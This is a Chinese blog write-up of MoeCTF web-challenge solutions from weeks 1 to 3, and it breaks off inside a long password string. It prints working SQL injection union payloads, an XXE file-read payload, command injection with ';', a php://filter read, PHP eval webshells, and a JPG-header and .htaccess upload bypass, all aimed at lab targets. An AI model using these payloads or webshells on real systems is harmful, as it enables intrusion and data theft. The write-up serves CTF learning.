本文最后更新于 2026-02-05T11:56:48+08:00
之前比赛时候就写好的,一直忘记发了,还差一个第23关的Java题,复现好了再单独发一个
WEEK1
0 Web入门指北
查看附件,内容如下
1 2 3
| 你知道什么是控制台吗?快去了解一下吧!
((+)
|
提示控制台,在浏览器中F12打开开发者工具,在控制台页面输入附件中的内容即可得到flag

附件中的是一段大量使用![]、+[]、!![]等逻辑运算符、数组及函数调用组合的混淆 JavaScript 代码,代码的目的就是输出flag
在控制台中可以运行 JavaScript 代码,所以可以得到flag
01 第一章 神秘的手镯
打开题目环境,随便输入点东西

发现需要输入一万个字符,而且禁止使用复制粘贴
方法一
直接查看源码发现引入了shouzhuo.js文件,在其中可以找到flag

方法二
F12打开开发者工具,然后按F1,找到禁用 JavaScript勾选上,这样 js 代码就不会执行了,就可以使用复制粘贴了

然后题目给了个附件,将其中内容复制粘贴输入进去即可,输入后点击启动手镯,没反应刷新几次就好啦

shouzhuo.js中的代码的意思就是定义了一串长达10000的字符串,然后如果输入的内容和定义的字符串相同,就会输出flag,而字符串已经在附件中给了我们,所以可以直接使用
02 第二章 初识金曦玄轨
打开题目环境,可以发现有两行模糊的字

可以在源代码中查看

给出的提示
访问/golden_trail这个路由看看

似乎没什么东西,但是看看题目提示,抓HTTP请求包

抓包看看

可以在响应头中看到有flag

更简单的就是在开发者工具中的网络里查看

03 第三章 问剑石!篡天改命!
打开题目环境,看起来没什么信息

看源代码,可以看到一段 JavaScript 代码(<script>标签包裹的是 JavaScript 代码)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <script> async function testTalent() { try { const response = await fetch('/test_talent?level=B', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ manifestation: 'none' }) }); const data = await response.json(); document.getElementById('result').textContent = data.result; const glow = document.getElementById('glow'); if (data.result.includes('流云状青芒')) { glow.style.opacity = '1'; } else { glow.style.opacity = '0'; } if (data.flag) { setTimeout(() => { alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`); }, 500); } } catch (error) { alert('玄轨连接中断!请检查灵枢...'); } } </script>
|
这段代码会发送 POST 请求到/test_talent?level=B接口,还会检查结果中是否包含 “流云状青芒”
尝试抓包看看,要抓点击测试天赋后的包


得到的响应体是
1
| {"result":"\u5929\u8d4b\uff1aB\uff0c\u5149\u8292\uff1anone","status":"\u95ee\u5251\u77f3\u663e\u5316"}
|
转化成字符为
1
| {"result":"天赋:B,光效:none","status":"问天石显化"}
|
还是看题目描述,可以看到有 S 光芒,还有 流云状青芒(flowing_azure_clouds)

尝试修改请求包

这就得到flag了
04 第四章 金曦破禁与七绝傀儡阵
第一关考察 GET 传参,然后得到碎片

第二关考察 POST 传参,这里 POST 请求参数是declaration,值为织云阁=第一

第三关考察 XFF 请求头伪造,请求头X-Forwarded-For表示访问者的 IP ,本地访问就是用回环地址127.0.0.1
1
| X-Forwarded-For: 127.0.0.1
|

第四关考察 UA 头,这个请求头表示使用的浏览器

第五关是身份伪造,利用请求头Cookie,这个请求头中是访问者的身份信息,这里提示的参数是user,值(即身份)是xt

第六关是考察Referer请求头,这是表示访问者的来处,即从何处访问本页面的

第七关就是使用PUT方法请求,请求体为新生!

然后就没有了,虽然没有直接得到flag,但是会发现每一关都会得到玉简碎片,拼接一起可以得到
1
| bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
|
很容易可以看出是经过 base64 编码的,在线网站解码一下就好了

1
| moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
|
05 第五章 打上门来!
看题目提示可以是考的目录穿越

Linux中每个目录中都会有.和..,其中.代表当前目录,..代表上一级目录,/表示目录分隔符,所以可以利用../../这种形式进行目录穿越


这里穿越两次后就到了根目录,可以看到flag文件了

06 第六章 藏经禁制?玄机初探!
这题考察的SQL注入,直接万能密码就可以登录成功,注入点在username,password随便填,登录成功后直接得到flag

07 第七章 灵蛛探穴与阴阳双生符

看题目提示,上网搜索也能知道,这是说的是robots.txt文件,直接访问

可以看到这里规定了/flag.php不能被爬取,那就直接访问该文件

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); $flag = getenv('FLAG');
$a = $_GET["a"] ?? ""; $b = $_GET["b"] ?? "";
if($a == $b){ die("error 1"); }
if(md5($a) != md5($b)){ die("error 2"); }
echo $flag;
|
这里考察MD5弱比较,上网搜绕过方式,随便找两个MD5值是0e开头的字符串即可

08 第八章 天衍真言,星图显圣
这题还是SQL注入,但是万能密码登录后没有直接给flag了,这就需要常规的SQL注入了
这题的注入点在username,但发现利用1' order by 2#爆列数不行(都是登录失败),那就直接爆回显位,username部分输入下面内容,password部分随便输入,可以不输

这里可以知道列数为2,因为如果是1' union select 1,2,3#会出现登录失败,还有就是看到回显的是1,可以得到回显位在第一个
然后爆数据库名,得到数据库名是 user
1
| 1' union select database(),2#
|

然后是表名,可以看到有个 flag 表
1
| 1' union select group_concat(table_name),2 from information_schema.tables where table_schema='user'#
|

然后是爆字段名,得到 value
1
| 1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#
|

最后就可以爆字段内容了
1
| 1' union select value,2 from flag#
|

这就是正常的做一个SQL注入题的过程
Moe笑传之猜猜爆
看源码可以看到引入了main.ja文件,就是游戏的源码

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| let randomNumber = Math.floor(Math.random()*10000) + 1; const guesses = document.querySelector('.guesses'); const lastResult = document.querySelector('.lastResult'); const lowOrHi = document.querySelector('.lowOrHi'); const guessBtn = document.getElementById('guessBtn'); const guessField = document.getElementById('guessField');
let guessCount = 1; let resetButton;
function checkGuess() { let userGuess = Number(guessField.value); if(guessCount === 1) { guesses.textContent = '上次猜的数:'; } guesses.textContent += userGuess + ' ';
if(userGuess === randomNumber) { lastResult.textContent = '恭喜你!猜对了!'; lastResult.style.backgroundColor = 'green'; lowOrHi.textContent = ''; guessField.disabled = true; guessBtn.disabled = true; fetch('/flag', {method: 'POST'}) .then(res => res.json()) .then(data => { document.querySelector('.flagResult').textContent = "FLAG: " + data.flag; }); setGameOver(); } else { lastResult.textContent = '!!!游戏结束!!!'; lastResult.style.backgroundColor = 'red'; if(userGuess < randomNumber) { lowOrHi.textContent = '你刚才猜低了!'; } else if(userGuess > randomNumber) { lowOrHi.textContent = '你刚才猜高了!'; } guessField.disabled = true; guessBtn.disabled = true; setGameOver(); }
guessCount++; guessField.value = ''; guessField.focus(); } guessBtn.addEventListener('click', checkGuess);
function setGameOver() { resetButton = document.createElement('button'); resetButton.textContent = '开始新游戏'; document.body.appendChild(resetButton); resetButton.addEventListener('click', resetGame); }
function resetGame() { guessCount = 1; const resetParas = document.querySelectorAll('.resultParas p'); for(let i = 0; i < resetParas.length; i++) { resetParas[i].textContent = ''; } resetButton.parentNode.removeChild(resetButton);
guessField.disabled = false; guessBtn.disabled = false; guessField.value = ''; guessField.focus();
lastResult.style.backgroundColor = 'white';
randomNumber = Math.floor(Math.random()*10000) + 1; }
|
获取flag的代码部分:
1 2 3 4 5 6
| fetch('/flag', {method: 'POST'}) .then(res => res.json()) .then(data => { document.querySelector('.flagResult').textContent = "FLAG: " + data.flag; });
|
是直接向/flag发送请求获取flag的,所以直接把这段代码在控制台运行一下就行

WEEK2
09 第九章 星墟禁制·天机问路
打开题目环境,发现要输入url

遇到这样的可以尝试利用命令分隔符;来执行命令,利用;可以依次执行多个命令
先输入个;,表示前面输入url进行ping命令的结束,然后执行ls命令

发现可以执行命令,剩下就是找flag,是在环境变量中

10 第十章 天机符阵
这有个非预期,可以直接访问flag.txt文件拿到flag

10 第十章 天机符阵_revenge
这里非预期修改了,正常打
随便输入点东西,很容易可以看出是考的XXE

格式也可以得到是
1 2 3
| <阵枢>引魂玉</阵枢> <解析>未定义</解析> <输出>未定义</输出>
|
题目提示flag在flag.txt文件中

payload
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/flag.txt"> ]> <root> <阵枢>引魂玉</阵枢> <解析>&xxe;</解析> <输出>未定义</输出> </root>
|
- **
<!DOCTYPE root [...]>:**定义了文档类型,其中包含一个外部实体声明
- **
<!ENTITY xxe SYSTEM "/flag.txt">:**声明了一个名为xxe的外部实体,它指向服务器上的/flag.txt文件
- **
<解析>&xxe;</解析>:**在 XML 内容中引用了这个外部实体
当存在 XXE 漏洞的 XML 解析器处理这段代码时,会尝试加载/flag.txt文件的内容,并将其替换到&xxe;的位置,从而可以获取到/flag.txt的文件内容

11 第十一章 千机变·破妄之眼

根据题目提示,可知存在GET参数,写一个脚本来爆出正确的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import itertools import requests
BASE = "http://127.0.0.1:41661/" TIMEOUT = 5
baseline = requests.get(BASE, timeout=TIMEOUT) baseline_text = baseline.text baseline_code = baseline.status_code baseline_len = len(baseline_text)
print(f"[基线] 状态码={baseline_code}, 长度={baseline_len}")
for perm in itertools.permutations("mnopq"): k = "".join(perm) try: resp = requests.get(BASE, params={k: k}, timeout=TIMEOUT) if resp.text != baseline_text: print("\n[⚡ 不一样啦!]") print("参数名:", k) print("URL:", resp.url) print("状态码:", resp.status_code) print("返回长度:", len(resp.text), " (基线:", baseline_len, ")") print("返回片段:\n", resp.text[:500]) break else: print(f"试 {k} -> 一样") except Exception as e: print(f"试 {k} 出错: {e}")
|

最终可以得到/find.php路径,可以直接访问

有点像之前的目录穿越题,不过这里当前目录已经可以看到了flag.php文件,访问看看

提示flag文件就在这,但是没有看到,可以利用filter伪协议对文件内容进行编码读取
1
| php://filter/read=convert.base64-encode/resource=flag.php
|

然后拿去进行base64解码即可看到flag

12 第十二章 玉魄玄关·破妄

看提示可知这题用来学习使用蚁剑的,题目中给了以下内容
1 2 3
| <?php highlight_file(__FILE__); @eval($_POST['cmd']);
|
典型的一句话木马,可以直接用蚁剑连接,密码就是cmd

没有看到flag文件,那就看看环境变量,右击打开蚁剑终端


在环境变量中就可以看到flag了,或者去看环境变量文件:/proc/self/environ

13 第十三章 通幽关·灵纹诡影
这是一个文件上传题,看给的规则可知,要上传.jpg文件,限制了文件大小,并且文件头要求是ffd8ff

那就要制作一个含有一句话木马的并且带有jpg文件头的文件
要想一句话木马被执行,就要是一个.php文件类的文件
首先新建一个.php文件,然后在010打开

找到导航栏中的 Hex,点击它,以十六进制形式查看

在左栏中写入十六进制文件头ffd8ff

然后就可以在右栏中继续写入一句话木马
1
| <?php eval($_POST['shell']); ?>
|

然后就可以上传这个文件了

最后访问得到的路径,直接RCE了,也可以蚁剑连,flag在环境变量中

14 第十四章 御神关·补天玉碑
这题依旧是一个文件上传题,但是禁用了.php这样的可以被解析的文件后缀

但是根据题目提示可知,在apache中有个特殊文件

很容易可以搜到是.htaccess文件,这是 Apache 的配置文件,可以上传这个文件,文件内容写入将指定的.jpg文件解析为php文件
文件内容如下,这可以指定的1.jpg文件解析为php文件,即上传的.jpg文件可以当作php文件用
1 2 3
| <FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
|

然后先上传这个文件

然后将上一个题中制作的木马文件1.php改后缀为1.jpg,然后上传上去

访问该文件路径,就可以进行RCE了

摸金偶遇FLAG,拼尽全力难战胜
这是一个小挑战,要在很短的时间里输入9个密码

正常挑战很难成功,那就看看源码,这种页面的游戏题一般都是用 JavaScript 代码写的

可以找到这部分关键代码

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| function generateRandomDigitArray(length) { return new Promise((resolve, reject) => { fetch(`/get_challenge?count=${length}`) .then((response) => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return response.json(); }) .then((data) => { if (data.error) { reject(data.error); } else { const real = data.numbers; const guess = Array.from({ length }, () => null); myToken = data.token; resolve({ real, guess }); } }) .catch((error) => { console.error("Error fetching challenge data:", error); reject("Failed to fetch challenge data."); }); }); }
|
这段代码会向/get_challenge这个路由发送请求,带有参数count即密码个数,得到响应是正确的密码和对应token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| function getProgressBarText(style) { switch (style) { case 0: return ">>> 等待开始挑战..."; case 1: return ">>> 防破译进程加载中..."; case 2: return ">>> 正在骇入系统..."; case 3: return ">>> 挑战超时"; case 4: return `>>> 挑战已终止,正确密码 ${realCode.join("")}`; default: fetch("/verify", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ answers: realCode, token: myToken }) }) .then((response) => response.json()) .then((data) => { if (data.correct) { const flag = data.flag || "无法获取flag"; $(".computerTitle").text(`破译完成,已获取如下权限: ${flag}`); } else { $(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`); } }) .catch((error) => { console.error("Error verifying solution:", error); $(".computerTitle").text("破译完成,但无法获取权限内容"); }); $(".decode-item-block").show(); $(".leftPanel,.inputPanel").hide(); return ( ">>> 骇入成功" + (limitChallenge ? `,挑战用时:${passedTime} 秒` : "") ); } }
|
这段代码表示,如果挑战成功后,会向/verify接口 POST 请求,携带参数answers: realCode(用户提交的答案)和token: myToken(验证令牌),若验证成功就会得到flag
所有思路就有了,可以先去访问/get_challenge?count=9,利用得到的正确密码和token再去向/verify发送请求,从而得到flag

可以利用 JavaScript 脚本,在控制台直接运行得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| (async function getFlag(count = 9) { try { console.log("[*] 请求 /get_challenge ..."); const r = await fetch(`/get_challenge?count=${count}`, { credentials: 'same-origin' }); if (!r.ok) throw new Error("get_challenge HTTP " + r.status); const data = await r.json(); if (data.error) throw new Error("get_challenge error: " + data.error);
console.log("[*] 收到 challenge:", data); const payload = { answers: data.numbers, token: data.token };
console.log("[*] 提交 /verify ...", payload); const v = await fetch("/verify", { method: "POST", credentials: 'same-origin', headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) });
if (!v.ok) throw new Error("verify HTTP " + v.status); const result = await v.json(); console.log("[*] verify 返回:", result);
if (result.correct) { console.log("%cFLAG => " + (result.flag || "(后端未返回 flag 字段)"), "color: green; font-weight: bold; font-size: 14px;"); } else { console.warn("提交未通过,后端消息:", result); } } catch (err) { console.error("发生错误:", err); } })();
|

也可以利用python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
|
import requests, sys, time
BASE = "http://127.0.0.1:59278/" COUNT = 9
def main(): s = requests.Session() try: r = s.get(f"{BASE}/get_challenge?count={COUNT}", timeout=6) r.raise_for_status() except Exception as e: print("GET /get_challenge 失败:", e) sys.exit(1)
try: chal = r.json() except Exception: print("GET 返回非 JSON:", r.text) sys.exit(2)
print("GET ->", chal) numbers = chal.get("numbers") token = chal.get("token") if not numbers or token is None: print("缺少 numbers 或 token,无法继续。") sys.exit(3)
payload = {"answers": numbers, "token": token} try: v = s.post(f"{BASE}/verify", json=payload, timeout=6) except Exception as e: print("POST /verify 失败:", e) sys.exit(4)
try: j = v.json() print("VERIFY ->", v.status_code, j) if j.get("correct") is True: print("\n=== FLAG ===\n", j.get("flag") or "(后端未返回 flag 字段)", "\n============\n") else: print("验证未通过:", j.get("message") or j) except Exception: print("VERIFY ->", v.status_code, v.text)
if __name__ == "__main__": main()
|

这里不能用bp抓包发包访问,因为操作太慢了,token可能会失效
WEEK3
01 第一章 神秘的手镯_revenge

根据题目提示可知,密码在wanyanzhou.txt文件中,会有备份文件,要输入500次密码
备份文件就是加上.bak后缀,直接访问/wanyanzhou.txt.bak即可下载到wanyanzhou.txt文件,得到密码
然后就是要提交500次,直接AI写个脚本进行提交,可能网络问题会有失败的,可以多设置提交次数,直接在控制台运行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| const submitContent = "XqRqsDZWVYjoXvSwMYGklZOGwVpnmPKTPJXhTiFKvhvcseSrXEbawElbdYmJRydaISVcmpLTscDEPSlbIkUNKEvdzivnsrfSCnGolKgQOmVFhxKxhMitBzNeBHNyOgwckpBKdMveKRzqTIrcnvhVgXoxZrjKmuFkFahmHtmTSCKjnjethRbwMPKeJbyLSPAzROgVTuNIChkunCQdCLnoEJWzTscdjGHYzuHJZPMbxqtWteSbkogopAGBxprYdnZEGjfhJfYKlVlVarMHKwlHcIpsHwXgcsvWVKijiTYiQTfpIMHfqyroLmSqLgugtVlDQXeaGTxSWCfkMsMxnucRAxvKeRkUkpnfLrAtMfnBpgwbgLSHsXEPcUxuJwcdxYEfispMnEluMGWPtiKWukWJmcixVbTrgBhRmSqeMWZorscrwsxerZnmKRmbcBIukPQIHOxeoPOXnbngPGdpFrnoDAhCkuQeyDreHKQIutGOwDmQrtuFZYZwPlDMuBZPqPcIDrSHUZvGQKDLARkVfmEQdLeBSVoRAOUJZXAiafPXCMigwuNPzElbajcHnpzBfUvxhDTFvdRsbnvdaYDmyjkNLqrFbRqspCJxrFAJaZkEisEaWkgvnTPTCZvPStbzuAVJRJqcnthlUXbigHdyMERTwFmhGktdbvyHxMWZkIhkMhDUHcrnrqezOsoaZLvifeiFLBUlHJEhtHoStqBtQRenMJPVWLzoFCtBlVSlUaQKnXCedKVGocnoWJiOfnpXVPOxAXQITpeXgfdmszXzOTEdTjqnEPAbQcOfRQFnZPNeygovEvmlhZfKNHQeRcnjHweNceHuFBTciWcFSQNZmIlnpiMkqiQyZOENdGFayRLHRuAHYcFOeZoaWsVwciPUtHRdNxfBtENIVDTPzqnBPdtRdOVWKEaInMAmgTUFSrdghOVOefjxtitiabICQNdLUItQILjyAhCBvnTmzHALWouisBfvTGtHjcYShuKdejEobmfYOypmQRJiKeUAyIGcKPsLDYOVAdIUgujXMsDsOLyrkCqjVAwkJnymwVcIGQPXixGWZWpychnsCINBItKqzcmhoYLWhadHoihjWVBlFgpHKfXpOjXYdhBLjfZUFICrlIEJeDztXIhnMsRITfNhFSjfsQwEktpzryjKvoedbAgFGnIshgIwyJANiKQJzdPdZkckQPVXYAKfekJvIwlQTZOwhjepNEJGhyahbEuNPtkCXVaNVkUvQHRAQVXtAQGTBUlWpZwfuFjKwvjNfzkCmcVeCPUCRSDXKSKQjNOkmeYabmjtNVYclVEredbjBiqXWeMCXaXPltDgneMPJaGIYHyfbWqNLwJCqPsdJxCDvaIuYXDHVLfwPwQuvUGcXvJZmcyACILNBDHnGKXFnUpExHTHrcgyIKCDSzeUsyOYfxnKyAmsUPgWgfdcJuLGAPnLvLnFuKXNUThohGpagqOIucLUtSHYBJvlPzLnJXtBIryPDyWtZuvOcoLBUkWapklHXLNQDonMyunmuoAuqkvdCvWXvIrdXZtHrgwsDuZiytotfKBAMwNGiVDZGlMzPKGpIeFzCLuXYsVXQZfYXoPuBNJyEFNvhlnzDbAieaNycIwKCtysQxbjejrEJVzuaNWpKqaduNtdmAjFpQFKFkoukCGsoscynKmpOTRhBlKlcurfCSzckDmrABkvUnTJBGBjKQeVEZRpfcdNbqEJAGfeaMtKiqfKcmhjngjEuVQaDmgYOdRxGOBGIRBgNCwsUAqNhVxzPkVSkNRLuVbAEApwnXjeipSbNDROtZSuPItgRUIJGcDiSxJwgcqximjKfskPXuHbhowALsYRPrjrteNPhiUKQpFgYlRBHJMuOQPtIYcIPIFHTpwMVpRwRvjpDKzlKmuXZVHAvswCIGoHxMahgaueHzkQhrGXdiXZswbkbpsOFOskXcgBUXBTjXacDJzbqFYhMpQXykStZCMJpmzkBfygwmQERoDIyMCGiJiCmOyTmrepOZIxfPlONsapLxOACdcfxLxsMLUsMziTpqcxAOpFMvghzFYRSwMQmGLDiaQsTZAZurHBSuaFHmXQohjUSqicRyHfrtIKygKBsCdXWTDgzcvHYGnbghSlMeHiMHQZtFoyPoVxyPNgnUxgiXZpXWokTBfnuXLDxqkyBnXWlIwFODufTCoevNmvHKZFAhPNOfuJxnqyfigeihgefMyPRGtjTwPxgkFGleTQOczfIhKVOSAwkfYLzesAxSHaqsWUfdRIxVmgsdedlnRFKHbRIMUHcRELhMLcpGiAJmqmQKECsfpXUvtBcrzRQcORBDNPVlQjdsHZXaHNOhQbdigsdszLIHPnXzqbKhBchruNLjBlaydvIHTVmSlyHtIyCyFocdRlJTozqSQNAvQySRZpNqUPzpQuKWLxUPbhYjvGlEpLWnPenWboqEfEMsAIxdbJQMKfNXakvwtRsTyHMSPOLIGxhLCiEnBnkJLFiDrkLkqBeRqxatdzFjaOVwhEKLAWxHViZadRjfQfoPOnuXPIFLPBnAleremNPcnTwAjgZADfYxlDrtcoQFGubCdTYPFSqXPjOUeAGFuwRvpeQWowxajsTnMcOfPtYBKqJwUQTislZbOsMyBpFCQaQYjSKyxGcSyceUGvtOhxImvTmiMfsmejhFAVALTvdRGAInBuxibmSYloasOJIntRlxjWeQGVklDfBGUkrAfvtNXRVBOvltzigxMUmEIhIjIgwYDWhCUAgQImixmgXDYQHUPRdfNGerNueMivayPSNRheVPTVhPaHDvFPcedCpRGOcAXLBrPnKlyHjDueOZdpfZKabnbdvYilMSALQHjVfkDjXVgsvIyNZEcfobkydwZPfKqTCXgPkPdgVaBmJKIYNmGxStldrBjZAykFDMfoiFIRLGigwdRvilQdycSAuXShvACVReSOifjuWlOSbKhXjfPiYibMxwIOcYtqJDBsbzqsMpsUbnVOVNCBHCVwbaghdaZwKwOcWsFdTxICJWXrEgJKWVrtPLUnYehdKUIbHUxWvzflPvLJMIJdoPNcjlPyZuYbrNgznMPDQIskYGeKHEIxbsAzFGPSbHEYIfnakwrHtifynYQBGcIMtEfSTmzltyveQBEdyrPHurWSEPiEGaGFHNtYqFqZSvMOkfEkFGNUNehiTqrLJMZPmjBSlnkLaQtjTslRqwOSmxZdQzpgBzTFVxLtBnUspHSqUyBLXbRMViuwZnVFyEFEyzlISCdtwpnKanKdroLgotHdEhGyucMuGyqStCiZbxKIlMLvuhLTUNbmXYhZbfTrHGlYbMjsXAiQovPHQrfvEjkiZVgyhEVPRkTzyAucZgafPFGOBXcSkOXKdlZrZpXQOJCKLtzBysNKVkHEgyrQPqnUKXILyujGsFqXzfLpDjewEmzGrGhRCSumVlXrwoBXRljkWHGDUsNUAdZKUDOwejOZifSOHJHiKCYNGtbdQEPaFKPnaYQzfxzGefKtAbRuJoZmHblZmwKrODQVMUOqmIZOuxzraxWdtpcRHFZCJlTdMcQLFVuTlOQNCkEPkRTFPLVNAqImzvpsWcNMPIvulFEhoWSDXlwpeBZxKIZApQOArGWITaVteYWBoEkHlPjHkQwxDnRfDyRXqjbzVgYcTDsMafXLustotnGcrbNyDimSxCiatNVnKgnTuyUYJtUdSAgJwLeFSPuAIfvbaxYNwRgDoGtaQcFxgDJMFgpCIuoEdwDChkoBVfDkaihdmPQZTwGcyNiSHpXLZfrszPoroaFSFoyZVysuPgwQpEQWQYqwLmfSCktrnuAUktVGnDvspNePKtABerKUsrjhJZnBtEsiRwoGDYVoSxzhDbLWysDJUWECVbNDtZEPLawlSblaIPtIfLJxpaJQnXQgVKIuWDZLmAlWfzxGmxEjtpLBmJCsvCyMemqylTnRXgqCzhfROrdtdPcrHtntoGyKnqjigbEfkdykWKlwQruRiDIVequOEJbHXdQCMIQAMTDXLQTgcLqmQlStExIAKMlNSXuhnUgYwTlVrqpadpTAzvLsTcopFOraXmxqCGqDiZhyUcWdraLNaxYlDTdjVkjHaWLVNDKvrDotXPOdLwPKGHiTpWzghIyopFBMJPEjaQlNJhZHctpMgvUawLrLnyuTxCejCavTOgQBwDFOdIZeawkGNWmwUzFauLxsqimLVSnEWPZYRAKHwHIWjCrPjtXTCeaCkVlrjRzhEvlwmnmrjlPqioroJpZDvJXtpOtHmsQheWgUnuDqjLUjWSzgdmuHBiNGsexkrxWqjIWCesrmJFgsLALwDKaONSCnKGTYvSHqsCdEnJmKbItitgTOlSigmioFqtEyaUKpqtYhWUBrtsLcfmfqojPScvTayNOmiJvAfczBUCUqdZexCqfBjsufdVdlKQWSVLfCnBydqAmVdhAnlSfrOTAIrgVXueYGjoJIByCoEJRtomAUqrTIcvnIdMoMjXkTEUjEwtEWorwefkTGalPEPnCJRjZJPHOWMPswlApIuNblsAXKXEnoxsaIwvhyOkHyMiYiFoCjXfgwlpiETVoUDfVqFpXclvKnwinPNHDRhnQwJZjATsqslVLeSMwSCIJTnatMuxMcAWrJdnwjWxYKHmJHOyEceCfwsmalGwVtJNXLpikQdhMYDYKFCxGrtSNaceCVuiEvQyBFycgCSwvAVjulXqbreazYTZPRhZdYqsvNKQfRpqITJXYZEizdNUCSRlNUKSGIrgLzBRdWfSzEObyJyCDlspgNPukmbIDwloSGWPXUbnoZPaZISqjkGlRihGcOtHmkwFBrhGIxutiLOZLfIvLpkQpcKcJvcYSoMXqiNYgrGvfTHFmKCwgdIGNmWPcwyfJhIphUJYjAMgFPzPMoWjElspZCbXDkQzihAwSlxNztzMbaUxEXhAizBxopqZMYazFBXQtBXSncriVJTgLbZrNfGFjctMTEmObPLpENwnovQHnBnPqYhFkqVkdqRoNoveCdoTGmgzlRJatIpByQGpjelGEmTGHELfxsIruzldvLMihnPzhLrfKMgCVOSOvDUrYhiuxnlVNgtilbQwoWbyMciXOQsfegmznLtaMzunRDscsnQCvZcwjtLWkuvidyjSGOSWGIRGzGyWcqjyJiWejPzIdfzLGaCSvNqhwEqAvCxcGVspJnyMgiXHOfetWgMeWGmoXHsXIucVwEvHaDWbidGZaTMzYTrKQPwbDbcRnUDymaMhuTYPlWqdNsTngReMqSvwDeBIjkIfDTnJwNvaUMdCrSiJYxbYAHgyTIvThjptWEDlhEBuIvrgkiRpsVpTruBKuJAZRHFBTBAxqKjyZVtscfYoJAwrvmpWCYxWAcvOjOGWuvphnjoTcpcyopaHPSYNSFpLhdsVqusxufxbwZjzwhGHjsCkvWUDHioXebCGemDKSutHqiOCImIhsvMcgfSvMcuvAdEhuRbDHqeVFzIMwUTjZrBNzfwcenAucPrjhOKOFXNKnwRBdiucOjdraiEGfDChPLiYkEnifjEoIDjRSDuNBDMRDxtCDLscfXtRCNZxWfYeKCpzYBiSrMoIpUbRklzEVwQVehVpkFyVrVtujiSPOLEFOVhCrDWChnroYGOLFwItVbxfZlzjkgOvdAEdTjLebjyKHSEYvMduWainHlZHbtIADMtmXOjyaVsasBDemSCOuLaFeAMatFmqPYgoPBuwgfhxpMngLGthLNaDRySnrXiuXGdsXebrmUvdueGmUSmhIuXJOVGpOhqwtzIcuirDThNsyLdExgVmHqUptlwLJVQwSlZOuVTHrbfRhuibwpkJwJkDPUGwGLyZorkRskRTqaeHlClCjQyOPZTmNzpDHxndJVsxAnpLuqHNktLHrGaPKTeDlhKWtxUltveFDgBERTnKHaSHdaZDKPxlKWmvGnQCLZJgSaVRplUSjaXjseKhXlMxdvTYJNsOgislKzLnepaxWECaTCflPMuJzOCMdBgCribrHLGlpBqTkTEcVHgoGQWUjVTUzjyPUhWbiBRxckxGThXqexUSgFmtfdYtKhTWtfjxoPiMYVBqERcWxoRkQSkULJiPhCSfXoUykfGSimlmHBHzWbsagTJdgYoKFuAjXCqKvnukUclWZVANxeRvCXUqojAgEaByFkNKxLgKObKgsHRijRzxQVaUprskCmATLwvgiDyIndpeaSiPljfSAhRtLwEtJBODxjtyMzIomksXUGbskQjSPdgwxJWaejgnfxwJrdHgMCrSrwBTuGfcojXVLWNClYvzJTyDXrLzkSqxbcLHdvcFMnwGMwLERmcmDUQuIvUdjIcJKXULTyPchlWLxVpuihKemfgFJfGApvzAnjShbxKUqAtBDPtpIgEKdyidUqNJocWbnPEbMxCZhRUjTrVteNiFDVmNaMBNetaWEtafXncKfEXYptvijKGuiZXgmoFBTHBriRIcDBdZJIaymIuZkNuZKWmpTLhScjTiJrKJDXvZeGVNJTDINafpQwiPkqbIvgqCTwkCWhZrgQIHuBkBgwOnOTCEHRxpaGbMJrsgLEOInhVKIwhIhgVjtqArCYijwoMhnsOqziDfnIZEfDaUOhSVyqhWKZIJsJfNWIStPqbyFmZPlnLYwbSoEkxwRSTfznbOGYrSjCSRlPEytycnVXAesjgQsMjuetJvdGSjxoNwufCPvxMUqDPKeQTsXQcIRQGoqCUDbZlHbYkFqJhruVmRiWGpDiPSKXOsBHvPvJNgaSOSHrNUiOwvBUgzWrTcBWAKrkBMobfONCzmXbRHganRgFJZsgvwTmkLiXfkyqcYjSWHKoSoyWOgoFGhXPturGEUCuIVBczaLnxzUkmwFbKAkcXuzaiByLNEaugBXnkXtuAqDKuMtMxGCKQHPIWtwkXoEXaCzqVnlmTueyDsKmQuqOBPekMIfdiSbHDVFbhbaUVPIFPchCuZxFBRaKceldvAWvgIkroVrHpvIEiHqBIYxGyueUVTWPoDZRnrAStGFHwYczxVuPKXEUHFpHDjHcDZTmWhBmfTJvRSLUYhieMwGCDevGSfMBPzEOGiwsGbgmUfXYm